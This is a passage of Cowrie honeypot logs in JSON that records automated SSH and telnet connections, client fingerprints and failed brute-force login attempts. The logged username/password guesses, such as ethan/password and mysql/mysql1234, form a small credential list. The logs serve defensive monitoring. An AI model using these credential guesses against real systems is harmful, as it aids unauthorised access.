","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:26.591362Z","src_ip":"80.94.95.118","session":"3f370bc4d471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":50944,"dst_ip":"159.203.135.109","dst_port":22,"session":"b73127d6671f","protocol":"ssh","message":"New connection: 185.196.10.253:50944 (159.203.135.109:22) [session: b73127d6671f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:38.965425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:38.970189Z","src_ip":"185.196.10.253","session":"b73127d6671f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:39.079891Z","src_ip":"185.196.10.253","session":"b73127d6671f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"password","message":"login attempt [ethan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:39.549866Z","src_ip":"185.196.10.253","session":"b73127d6671f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:40.662736Z","src_ip":"185.196.10.253","session":"b73127d6671f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":31891,"dst_ip":"159.203.135.109","dst_port":22,"session":"72161c8611c9","protocol":"ssh","message":"New connection: 201.245.201.162:31891 (159.203.135.109:22) [session: 72161c8611c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:48.645372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:48.649725Z","src_ip":"201.245.201.162","session":"72161c8611c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:48.737150Z","src_ip":"201.245.201.162","session":"72161c8611c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"password","message":"login attempt [ethan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:49.119776Z","src_ip":"201.245.201.162","session":"72161c8611c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:52:50.208688Z","src_ip":"201.245.201.162","session":"72161c8611c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.56.152","src_port":60120,"dst_ip":"159.203.135.109","dst_port":22,"session":"381fa9aeac61","protocol":"ssh","message":"New connection: 103.117.56.152:60120 (159.203.135.109:22) [session: 381fa9aeac61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:53:00.931066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:53:00.935367Z","src_ip":"103.117.56.152","session":"381fa9aeac61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:53:01.180908Z","src_ip":"103.117.56.152","session":"381fa9aeac61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":110.9260265827179,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:53:01.435071Z","src_ip":"49.88.156.34","session":"feb6cce4718e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"vendas","message":"login attempt [vendas/vendas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:53:02.200881Z","src_ip":"103.117.56.152","session":"381fa9aeac61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:53:03.449915Z","src_ip":"103.117.56.152","session":"381fa9aeac61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":48308,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a4cf2469eb3","protocol":"ssh","message":"New connection: 2.57.122.210:48308 (159.203.135.109:22) [session: 0a4cf2469eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:13.691638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:13.695908Z","src_ip":"2.57.122.210","session":"0a4cf2469eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:13.794988Z","src_ip":"2.57.122.210","session":"0a4cf2469eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"solv","message":"login attempt [sol/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:14.093878Z","src_ip":"2.57.122.210","session":"0a4cf2469eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:15.196372Z","src_ip":"2.57.122.210","session":"0a4cf2469eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.26.135.100","src_port":59796,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d5f0f641e18","protocol":"ssh","message":"New connection: 20.26.135.100:59796 (159.203.135.109:22) [session: 7d5f0f641e18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:19.909465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:19.913194Z","src_ip":"20.26.135.100","session":"7d5f0f641e18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:19.995893Z","src_ip":"20.26.135.100","session":"7d5f0f641e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql1234","message":"login attempt [mysql/mysql1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:20.368236Z","src_ip":"20.26.135.100","session":"7d5f0f641e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:21.458734Z","src_ip":"20.26.135.100","session":"7d5f0f641e18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42926,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3d74ef2baaa","protocol":"ssh","message":"New connection: 195.178.110.218:42926 (159.203.135.109:22) [session: e3d74ef2baaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:24.166831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:24.169840Z","src_ip":"195.178.110.218","session":"e3d74ef2baaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:24.248291Z","src_ip":"195.178.110.218","session":"e3d74ef2baaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:24.501345Z","src_ip":"195.178.110.218","session":"e3d74ef2baaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:25.583507Z","src_ip":"195.178.110.218","session":"e3d74ef2baaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":48230,"dst_ip":"159.203.135.109","dst_port":22,"session":"c39f276a06d9","protocol":"ssh","message":"New connection: 103.52.152.101:48230 (159.203.135.109:22) [session: c39f276a06d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:47.673934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:47.678638Z","src_ip":"103.52.152.101","session":"c39f276a06d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:47.883688Z","src_ip":"103.52.152.101","session":"c39f276a06d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travis","password":"Travis123","message":"login attempt [travis/Travis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:48.736261Z","src_ip":"103.52.152.101","session":"c39f276a06d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.253","src_port":38344,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dc4fdf61e35","protocol":"ssh","message":"New connection: 185.196.10.253:38344 (159.203.135.109:22) [session: 0dc4fdf61e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:48.982487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:48.987892Z","src_ip":"185.196.10.253","session":"0dc4fdf61e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:49.097669Z","src_ip":"185.196.10.253","session":"0dc4fdf61e35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"modify","password":"12345678","message":"login attempt [modify/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:49.568197Z","src_ip":"185.196.10.253","session":"0dc4fdf61e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:49.947468Z","src_ip":"103.52.152.101","session":"c39f276a06d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:50.679733Z","src_ip":"185.196.10.253","session":"0dc4fdf61e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.245.201.162","src_port":4636,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e1d46bc8b28","protocol":"ssh","message":"New connection: 201.245.201.162:4636 (159.203.135.109:22) [session: 4e1d46bc8b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:52.402368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:54:52.406942Z","src_ip":"201.245.201.162","session":"4e1d46bc8b28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.co